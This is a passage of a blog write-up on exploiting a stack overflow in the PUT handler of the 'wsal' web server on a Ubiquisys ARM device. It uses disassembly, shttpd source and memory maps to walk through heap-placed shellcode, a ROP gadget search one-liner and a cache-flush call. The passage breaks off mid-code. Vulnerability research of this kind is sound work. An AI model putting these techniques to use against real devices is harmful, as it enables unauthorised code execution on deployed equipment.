vertical-align:top;">      <span style="color: #0000ff;">0x0007d928</span>    <span style="color: #0000ff;">0</span>    01da8de2         <span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">sp</span><span style="color: #339933;">,</span> <span style="color: #00007f;">sp</span><span style="color: #339933;">,</span> #<span style="color: #0000ff;">4096</span> <span style="color: #666666; font-style: italic;">; 0x1000</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d92c</span>    <span style="color: #0000ff;">0</span>    f081bde8         <span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #009900; font-weight: bold;">{</span>r4<span style="color: #339933;">,</span> r5<span style="color: #339933;">,</span> r6<span style="color: #339933;">,</span> r7<span style="color: #339933;">,</span> r8<span style="color: #339933;">,</span> pc<span style="color: #009900; font-weight: bold;">}</span></div></li></ol></div><br />
The pc register is equivalent to EIP on x86 with the difference that you can directly read and write to it. <br />
As it is popped from our overflown stack-buffer, this would give us direct control over the program flow.<br />
<br />
Now the interesting question was, does wsal also support this request type or is it not calling this function?<br />
<div class="asm geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x0000b454</span><span style="color: #009900; font-weight: bold;">]</span>> pw <span style="color: #0000ff;">48</span>@sym<span style="color: #339933;">.</span>known_http_methods</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">0x0008ea90</span>  <span style="color: #0000ff;">0x0008e704</span> <span style="color: #0000ff;">0x00000003</span> <span style="color: #0000ff;">0x0008e708</span> <span style="color: #0000ff;">0x00000004</span>  <span style="color: #339933;">................</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">0x0008ead0</span>  <span style="color: #0000ff;">0x0008e710</span> <span style="color: #0000ff;">0x00000003</span> <span style="color: #0000ff;">0x0008266c</span> <span style="color: #0000ff;">0x00000006</span>  <span style="color: #339933;">........</span>l&<span style="color: #339933;">......</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">0x0008eb10</span>  <span style="color: #0000ff;">0x0008e714</span> <span style="color: #0000ff;">0x00000004</span> <span style="color: #0000ff;">0x00000000</span> <span style="color: #0000ff;">0x00000000</span>  <span style="color: #339933;">................</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x0000b454</span><span style="color: #009900; font-weight: bold;">]</span>> # here we can already see that <span style="color: #000000; font-weight: bold;">this</span> is the vec <span style="color: #000000; font-weight: bold;">struct</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x0000b454</span><span style="color: #009900; font-weight: bold;">]</span>> # lets look <span style="color: #000000; font-weight: bold;">for</span> PUT</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x0000b454</span><span style="color: #009900; font-weight: bold;">]</span>> ps @<span style="color: #0000ff;">0x0008e710</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">PUT</div></li></ol></div><br />
This made it clear that the wsal binary also supports PUT. <br />
Looking at shttpd.c, it seems that PUT as well as DELETE should only be enabled for authorized users (which probably wouldn't be a big problem), but funnily the Makefile also states: <strong># -DNO_AUTH - disable authorization support (-4kb)</strong> which was of course also set by wsal <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/laugh.png" alt=":-D" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
<br />
<strong>Exploitation:</strong><br />
Exploitation of this seemed rather straight forward given the nature of this bug.<br />
The stack was marked non-executable in the ELF binary, but fortunately the ARMv5 doesn't support the XN bit yet.<br />
However, experimenting with this bug I noticed fairly quickly that <strong>ASLR</strong> is enabled on the device and our stack address is randomized.<br />
As a result, I couldn't just place my shellcode into buf and jump right to it.<br />
<a href="http://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a> would've been an option, but as my ARM knowledge was limited before playing with this bug, I didn't like this option (even though as we will see, I need it anyway, but not for the actual payload).<br />
<a href="http://en.wikipedia.org/wiki/Return-to-libc_attack">Return-to-libc</a>, by e.g. returning to system(), was no interesting option either, as the there is no network binary such as netcat installed on the box.<br />
<br />
So I had to find something else. And as it turned out, the support for <strong>heap randomization</strong> as well as library randomization starts pretty late on ARM. As Kees <a href="http://www.outflux.net/blog/archives/2009/11/24/missing-kernel-features-in-arm/#comment-1107">points out</a> this started in 2.6.37.<br />
This nails down one possible problem. As path was not the original request buffer, but only a copy of it, I started looking for copies of my input or the possibility to put the payload somewhere else (e.g. a POST body, HTTP headers...).<br />
<br />
First, I checked where path is coming from (shttpd.c/decide_what_to_do()):<br />
<div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">static</span> <span style="color: #993333;">void</span> decide_what_to_do<span style="color: #009900;">(</span><span style="color: #993333;">struct</span> conn <span style="color: #339933;">*</span>c<span style="color: #009900;">)</span><span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #993333;">char</span>            path<span style="color: #009900;">[</span>URI_MAX<span style="color: #009900;">]</span><span style="color: #339933;">,</span> buf<span style="color: #009900;">[</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">]</span><span style="color: #339933;">,</span> <span style="color: #339933;">*</span>root<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        ...</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #202020;">url_decode</span><span style="color: #009900;">(</span>c<span style="color: #339933;">-></span>uri<span style="color: #339933;">,</span> strlen<span style="color: #009900;">(</span>c<span style="color: #339933;">-></span>uri<span style="color: #009900;">)</span><span style="color: #339933;">,</span> c<span style="color: #339933;">-></span>uri<span style="color: #339933;">,</span> strlen<span style="color: #009900;">(</span>c<span style="color: #339933;">-></span>uri<span style="color: #009900;">)</span> <span style="color: #339933;">+</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        remove_double_dots<span style="color: #009900;">(</span>c<span style="color: #339933;">-></span>uri<span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        ...</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span>strlen<span style="color: #009900;">(</span>c<span style="color: #339933;">-></span>uri<span style="color: #009900;">)</span> <span style="color: #339933;">+</span> strlen<span style="color: #009900;">(</span>root<span style="color: #009900;">)</span> <span style="color: #339933;">>=</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">(</span>path<span style="color: #009900;">)</span><span style="color: #009900;">)</span> <span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                send_server_error<span style="color: #009900;">(</span>c<span style="color: #339933;">,</span> <span style="color: #0000dd;">400</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">"URI is too long"</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #b1b100;">return</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #009900;">}</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #009900;">(</span><span style="color: #993333;">void</span><span style="color: #009900;">)</span> my_snprintf<span style="color: #009900;">(</span>path<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">(</span>path<span style="color: #009900;">)</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">"%s%s"</span><span style="color: #339933;">,</span> root<span style="color: #339933;">,</span> c<span style="color: #339933;">-></span>uri<span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        ...</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span>c<span style="color: #339933;">-></span>ch.<span style="color: #202020;">range</span>.<span style="color: #202020;">v_vec</span>.<span style="color: #202020;">len</span> <span style="color: #339933;">></span> <span style="color: #0000dd;">0</span><span style="color: #009900;">)</span> <span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            send_server_error<span style="color: #009900;">(</span>c<span style="color: #339933;">,</span> <span style="color: #0000dd;">501</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">"PUT Range Not Implemented"</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #009900;">}</span> <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span><span style="color: #009900;">(</span>rc <span style="color: #339933;">=</span> put_dir<span style="color: #009900;">(</span>path<span style="color: #009900;">)</span><span style="color: #009900;">)</span> <span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">)</span> <span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            send_server_error<span style="color: #009900;">(</span>c<span style="color: #339933;">,</span> <span style="color: #0000dd;">200</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">"OK"</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #009900;">}</span></div></li></ol></div><br />
There we go, path originates from c->uri which is an url-decoded form of itself.<br />
One important thing we have to take into account at this point is that the URL can't be of arbitrary length, but is checked against URI_MAX.<br />
We have to overflow a buffer in put_dir() with a length of FILENAME_MAX...<br />
However, we are lucky, URI_MAX is defined as 16384 (config.h) while FILENAME_MAX from put_dir is an alias for MAX_PATH which is defined as 4096.<br />
So where is c->uri coming from? Again we look at shttpd.c, this time the parse_http_request() function:<br />
<div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">static</span> <span style="color: #993333;">void</span> parse_http_request<span style="color: #009900;">(</span><span style="color: #993333;">struct</span> conn <span style="color: #339933;"><</span>strong<span style="color: #339933;">></span>c<span style="color: #009900;">)</span> <span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        ...</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #009900;">}</span> <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span><span style="color: #009900;">(</span>c<span style="color: #339933;">-></span>uri <span style="color: #339933;">=</span> malloc<span style="color: #009900;">(</span>uri_len <span style="color: #339933;">+</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">)</span><span style="color: #009900;">)</span> <span style="color: #339933;">==</span> <span style="color: #000000; font-weight: bold;">NULL</span><span style="color: #009900;">)</span> <span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                send_server_error<span style="color: #009900;">(</span>c<span style="color: #339933;">,</span> <span style="color: #0000dd;">500</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">"Cannot allocate URI"</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #009900;">}</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                my_strlcpy<span style="color: #009900;">(</span>c<span style="color: #339933;">-></span>uri<span style="color: #339933;">,</span> <span style="color: #009900;">(</span><span style="color: #993333;">char</span> <span style="color: #339933;"></</span>strong<span style="color: #339933;">></span><span style="color: #009900;">)</span> start<span style="color: #339933;">,</span> uri_len <span style="color: #339933;">+</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                parse_headers<span style="color: #009900;">(</span>c<span style="color: #339933;">-></span>headers<span style="color: #339933;">,</span> <span style="color: #009900;">(</span>c<span style="color: #339933;">-></span>request <span style="color: #339933;">+</span> req_len<span style="color: #009900;">)</span> <span style="color: #339933;">-</span> c<span style="color: #339933;">-></span>headers<span style="color: #339933;">,</span> <span style="color: #339933;">&</span>c<span style="color: #339933;">-></span>ch<span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                ...</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #202020;">decide_what_to_do</span><span style="color: #009900;">(</span>c<span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900;">}</span></div></li></ol></div><br />
As we can see, c->uri is allocated on the heap and as I mentioned, heap randomization was introduced pretty late on ARM/Linux, I assumed I can just jump right into the heap copy of my input.<br />
There is a nice side-effect of using the heap copy of the buffer to place our shellcode.<br />
Because url_decode() is called on the complete uri length, we have no restrictions whatsoever regarding the bytes we can<br />
include in our final shellcode, it can include zeros and the-like in url-encoded form.<br />
Anyway, few minutes later it became clear that I can't just jump right to it <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/laugh.png" alt=":-D" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
<div class="bash geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #666666; font-style: italic;"># cat /proc/480/maps </span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">00008000-0009f000 r-xp 00000000 1f:06 <span style="color: #000000;">6002148</span>    <span style="color: #000000; font-weight: bold;">/</span>opt<span style="color: #000000; font-weight: bold;">/</span>ubiquisys<span style="color: #000000; font-weight: bold;">/</span>primary<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>wsal</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">000a6000-000a8000 rw-p 00096000 1f:06 <span style="color: #000000;">6002148</span>    <span style="color: #000000; font-weight: bold;">/</span>opt<span style="color: #000000; font-weight: bold;">/</span>ubiquisys<span style="color: #000000; font-weight: bold;">/</span>primary<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>wsal</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">000a8000-000c9000 rwxp 000a8000 00:00 <span style="color: #000000;">0</span>          <span style="color: #7a0874; font-weight: bold;">[</span>heap<span style="color: #7a0874; font-weight: bold;">]</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">...</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">402eb000-402f6000 r-xp 00000000 1f:05 <span style="color: #000000;">2926580</span>    <span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libgcc_s.so.1</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">402f6000-402fd000 <span style="color: #660033;">---p</span> 0000b000 1f:05 <span style="color: #000000;">2926580</span>    <span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libgcc_s.so.1</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">402fd000-402fe000 rw-p 0000a000 1f:05 <span style="color: #000000;">2926580</span>    <span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libgcc_s.so.1</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">402fe000-4040c000 r-xp 00000000 1f:05 <span style="color: #000000;">1481528</span>    <span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libc-2.3.6.so</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">4040c000-<span style="color: #000000;">40414000</span> <span style="color: #660033;">---p</span> 0010e000 1f:05 <span style="color: #000000;">1481528</span>    <span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libc-2.3.6.so</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #000000;">40414000</span>-<span style="color: #000000;">40416000</span> r--p 0010e000 1f:05 <span style="color: #000000;">1481528</span>    <span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libc-2.3.6.so</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #000000;">40416000</span>-<span style="color: #000000;">40417000</span> rw-p 00110000 1f:05 <span style="color: #000000;">1481528</span>    <span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libc-2.3.6.so</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">...</div></li></ol></div><br />
While the leading zero itself was no a problem for the input itself (because I can just urlencode this), put_dir has a problem with that.<br />
If we recall, the loop is using <string>strchr</string> to determine len.<br />
So if we include a zero before the terminating / in the URL to jump to our heap buffer, our buffer overflow will actually never happen.<br />
However, the path copy that is passed to put_dir() is created using snprintf() and this is little-endian.<br />
Therefore, we can include <strong>one</strong> zero in the url-decoded, stack-based path buffer (in decide_what_to_do()) and pop the address including the zero from there.<br />
It just has to be past the / character that we need to get a large len value.<br />
How do we pop it from there after our buffer was overwritten and the stack frame of put_dir() was teared down?<br />
Here is where some ROP is needed (or call it jump-oriented).<br />
<br />
When the put_dir() function is left, the stack pointer is below the path stack buffer that was passed as an address to the put_dir() function (from where it was copied into the stack buffer over put_dir) and is as well already url-decoded.<br />
So if we can lift our stack pointer back up, it should be possible to pop an address with a leading zero from this buffer.<br />
<br />
Looking at the mentioned program map output, it is visible that libc and libgcc are mapped at addresses without a leading zero. Their base is also not randomized.<br />
I didn't have any particular tool to find ROP snippets, but as on ARM all instructions are word aligned, it was easy to find proper instructions with objectdump<br />
and grep. In particular <i>objdump -d /lib/libc-2.3.6.so | grep -A 2 -E 'add sp, sp,.*' | grep -B 2 -E 'pop.*(pc|lr)'</i> (can also be done with radare if you're more advanced in usin it than i am <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/wink.png" alt=";-)" style="display: inline; vertical-align: bottom;" class="emoticon" />).<br />
This way I searched for stack lifting instructions followed by an instruction that pops stack buffer content to pc or the link register in order to regain control.<br />
I found a good candidate:<br />
<div class="asm geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x00013994</span><span style="color: #009900; font-weight: bold;">]</span>> pD <span style="color: #0000ff;">8</span>@sym<span style="color: #339933;">.</span>sigprocmask<span style="color: #339933;">+</span><span style="color: #0000ff;">108</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x00028ea0</span>    <span style="color: #0000ff;">0</span>    84d08de2         <span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">sp</span><span style="color: #339933;">,</span> <span style="color: #00007f;">sp</span><span style="color: #339933;">,</span> #<span style="color: #0000ff;">132</span> <span style="color: #666666; font-style: italic;">; 0x84</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x00028ea4</span>    <span style="color: #0000ff;">0</span>    f080bde8         <span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #009900; font-weight: bold;">{</span>r4<span style="color: #339933;">,</span> r5<span style="color: #339933;">,</span> r6<span style="color: #339933;">,</span> r7<span style="color: #339933;">,</span> pc<span style="color: #009900; font-weight: bold;">}</span></div></li></ol></div><br />
This was perfect. Now I could just make my first jump to this snippet, lift the stack pointer back into my buffer, place the address of sigprocmask+108 url-encoded<br />
in my buffer (together with fake r4-r7 values) and lift the stack until I'm past the / character and pop my zero-address from there.<br />
The goal was still to jump to the shellcode in the heap copy of the buffer.<br />
<br />
<strong>The ARM-stacle:</strong><br />
This would work well, if the target architecture wouldn't be ARM.<br />
There is an important constraint on ARM when writing exploits. Unlike x86, ARM is based on the <strong><a href="http://blogs.arm.com/software-enablement/141-caches-and-self-modifying-code/">Harvard Architecture</a></strong>.<br />
This means that code and data cache are separated. I didn't know this first.<br />
A result of this was that when hitting my heap shellcode, the program crashed with a SIGILL.<br />
However, analyzing the coredump and the pc at that time always showed correct instructions.<br />
Due to the Harvard Architecture, my shellcode is copied into the data cache.<br />
But in order to execute it, it needs to land in the data cache and then written back to main memory.<br />
Because it wasn't the, the coredump displayed instructions that weren't actually in the data cache and thus resulting in SIGILL, due to whatever was executed as instructions at this point.<br />
<br />
It turns out that there are two solutions two this problem. The first one is a simple instruction (MCR). However, it is limited to kernel mode.<br />
The other option is a clear cache syscall that takes 3 arguments, a start address, a range and flags. This seemed nice.<br />
What was even more nice is that the wsal links against libgcc which provides a wrapper to do that:<br />
<br />
<div class="asm geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x000023e0</span><span style="color: #009900; font-weight: bold;">]</span>> pD <span style="color: #0000ff;">32</span>@sym<span style="color: #339933;">.</span>__clear_cache</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x00004484</span>  sym<span style="color: #339933;">.</span>__clear_cache<span style="color: #339933;">:</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x00004484</span>    <span style="color: #0000ff;">0</span>    04702de5         <span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #009900; font-weight: bold;">{</span>r7<span style="color: #009900; font-weight: bold;">}</span>             <span style="color: #666666; font-style: italic;">; (str r7, [sp, #-4]!)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x00004488</span>    <span style="color: #0000ff;">0</span>    0020a0e3         <span style="color: #00007f; font-weight: bold;">mov</span> r2<span style="color: #339933;">,</span> #<span style="color: #0000ff;">0</span> <span style="color: #666666; font-style: italic;">; 0x0</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0000448c</span>    <span style="color: #0000ff;">0</span>    08709fe5         ldr r7<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">[</span>pc<span style="color: #339933;">,</span> #<span style="color: #0000ff;">8</span><span style="color: #009900; font-weight: bold;">]</span> <span style="color: #666666; font-style: italic;">; 0x0000449c; => 0x000f0002 </span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x00004490</span>    <span style="color: #0000ff;">0</span>    02009fef         svc <span style="color: #0000ff;">0x009f0002</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">         <span style="color: #666666; font-style: italic;">; syscall[0x27e][0]=?</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x00004494</span>    <span style="color: #0000ff;">0</span>    8000bde8         <span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #009900; font-weight: bold;">{</span>r7<span style="color: #009900; font-weight: bold;">}</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x00004498</span>    <span style="color: #0000ff;">0</span>    1eff2fe1         <span style="color: #00007f;">bx</span> lr</div></li></ol></div><br />
Crafting the 0x009f0002 by ROP would've been a bit painful I suppose so this wrapper was nice.<br />
So before jumping to our shellcode, we need to call this syscall.<br />
<br />
A small excerpt from linux-2.6/arch/arm/traps.c to better understand this syscall:<br />
<div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">static</span> <span style="color: #000000; font-weight: bold;">inline</span> <span style="color: #993333;">void</span> do_cache_op<span style="color: #009900;">(</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> start<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> end<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> flags<span style="color: #009900;">)</span> <span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #993333;">struct</span> mm_struct <span style="color: #339933;">*</span>mm <span style="color: #339933;">=</span> current<span style="color: #339933;">-></span>active_mm<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #993333;">struct</span> vm_area_struct <span style="color: #339933;">*</span>vma<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"> </div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span>end <span style="color: 